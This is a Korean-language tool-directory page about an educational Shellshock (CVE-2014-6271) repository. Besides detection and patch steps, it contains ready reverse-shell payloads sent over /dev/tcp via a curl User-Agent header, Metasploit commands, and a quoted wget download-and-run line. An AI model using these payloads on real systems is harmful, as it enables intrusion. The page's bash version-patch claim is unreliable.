Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
-CVE-2014-6271 — 교육용 저장소로, Shellshock (CVE-2014-6271) 취약점을 상세히 설명하며, 기술적 분석, 공격 벡터, 개념 증명 익스플로잇, Bash 환경 변수 주입에 대한 완화 조치를 포함합니다. | Kitploit
도구/GitHubGitHub/kaleth4/-cve-2014-6271
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

교육용 저장소로, Shellshock (CVE-2014-6271) 취약점을 상세히 설명하며, 기술적 분석, 공격 벡터, 개념 증명 익스플로잇, Bash 환경 변수 주입에 대한 완화 조치를 포함합니다.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Bash 환경 변수 주입을 통한 원격 코드 실행

CVE CVSS Type Bash Status

"수십 년 동안 Bash에 숨겨져 있다가 24시간도 안 되어 인터넷의 기초를 뒤흔든 결함."


목차

  • Shellshock란 무엇인가?
  • 타임라인
  • 영향을 받는 시스템
  • 기술적 설명
  • PoC — 개념 증명
  • 공격 벡터
  • 전체 익스플로잇 (리버스 쉘)
  • 침해 지표 (IoC)
  • 완화
  • 면책 조항

❓ Shellshock란 무엇인가?

Shellshock(Bashdoor라고도 알려짐)는 GNU Bash 명령어 해석기의 중요한 취약점 계열로서, 원격 공격자가 대상 시스템에서 임의 명령을 실행할 수 있게 합니다.

근본적인 오류: Bash는 함수 정의가 끝날 때 환경 변수 분석을 중단하지 않았습니다. () { :; }; 이후에 연결된 모든 코드가 자동으로 실행되었습니다.

root@kitploit:~
환경 변수 → 함수 정의 → [여기서 추가 코드 실행] ← 버그

웹 서버(CGI/Apache), SSH 서비스 및 DHCP 클라이언트가 헤더나 매개변수를 Bash 환경 변수로 변환하기 때문에 공격 표면이 엄청났습니다.


📅 타임라인

root@kitploit:~
12 Sep 2014 ──── Stéphane Chazelas가 버그를 발견하여 Bash 유지보수자인 Chet Ramey에게 보고
                 이 버그는 Bash에 20년 넘게 존재했습니다.

24 Sep 2014 ──── 공개 공개 + 패치 배포 (CVE-2014-6271)
                 몇 시간 후: 봇넷이 대규모로 인터넷을 스캔 중.

25-30 Sep 2014 ── 관련 취약점 발견:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── 수백만 건의 공격 기록. 심각도가 Heartbleed와 비교됨.

💻 영향을 받는 시스템


🔬 기술적 설명

버그의 메커니즘

Bash가 환경 변수에서 함수를 가져올 때 함수의 닫는 }까지 읽습니다. 취약한 버전에서는 중단하는 대신 이후 코드를 계속 처리했습니다.

root@kitploit:~
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerable al inicializarse:
# 1. Lee la definición de función  → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd  ← BUG

CGI를 통한 공격 흐름

root@kitploit:~
Atacante                    Servidor Apache (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Convierte headers a env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Ejecuta cmd
   │                               │                                │ como www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Respuesta + output del cmd   │                                │

🧪 PoC — 개념 증명

취약점 기본 확인

root@kitploit:~
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

취약한 시스템의 결과:

root@kitploit:~
VULNERABLE
this is a test

패치된 시스템의 결과:

root@kitploit:~
this is a test

(또는 구문 오류 — "VULNERABLE"을 절대 출력하지 않음)


⚔️ 공격 벡터

1. CGI-BIN (가장 흔함)

.cgi 스크립트를 사용하는 웹 서버는 HTTP 헤더를 Bash 환경 변수로 변환합니다.

root@kitploit:~
영향을 받는 헤더: User-Agent, Referer, Cookie, X-Forwarded-For, 및 모든 사용자 정의 헤더

2. SSH with ForceCommand

root@kitploit:~
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'

3. DHCP 클라이언트

악의적인 DHCP 서버는 DHCP 응답을 처리하기 위해 Bash를 사용하는 클라이언트에 환경 변수를 주입할 수 있습니다.

4. 직접 환경 변수

root@kitploit:~
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

💀 전체 익스플로잇: 리버스 쉘

1단계: 공격자 머신에서 리스너

root@kitploit:~
nc -lvnp 4444

2단계: 리버스 쉘 페이로드

root@kitploit:~
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

3단계: 악의적인 요청 전송

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

4단계: 쉘 획득

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Metasploit 모듈

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 침해 지표 (IOC)

Apache/Nginx 로그에서

root@kitploit:~
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

의심스러운 프로세스

root@kitploit:~
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

시스템 내 지표

root@kitploit:~
- /tmp, /var/tmp, /dev/shm에 새 실행 파일
- 웹 서버에서 알 수 없는 IP로의 나가는 연결
- /etc/crontab 또는 /etc/passwd 수정
- 터미널 없이 www-data로 실행 중인 bash 프로세스

🛡️ 완화

즉시 패치 (매우 중요)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)

패치 후 확인

반환값은 "this is a test"만 있어야 함 — 절대 "VULNERABLE"가 아니어야 함

root@kitploit:~
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

추가 조치

root@kitploit:~
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi

# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ 면책 조항

이 저장소는 교육 목적, 사이버 보안 연구 및 승인된 보안 감사 전용입니다. 여기에 제시된 모든 정보는 공개 도메인입니다. 명시적 승인 없이 시스템을 테스트하는 것은 대부분의 관할권 법률에 따라 불법입니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다.


Stéphane Chazelas가 발견함 · 2014년 9월 24일에 공개됨

CVSS 점수: 10.0 (Critical) → 이후 CVSSv3에서 9.8로 조정됨

도구 다운로드
제품취약한 버전상태
GNU Bash1.0.3 – 4.3패치됨
Linux (Debian/Ubuntu/CentOS/RHEL)2014년 9월 이전 버전패치됨
Apple macOS / OS X10.10 및 이전패치됨 (보안 업데이트 2014-005)
Bash가 내장된 IoT 장치다양함제조사에 따라 다름
Apache에서 CGI를 사용하는 웹 서버취약한 Bash가 있는 모든 버전패치됨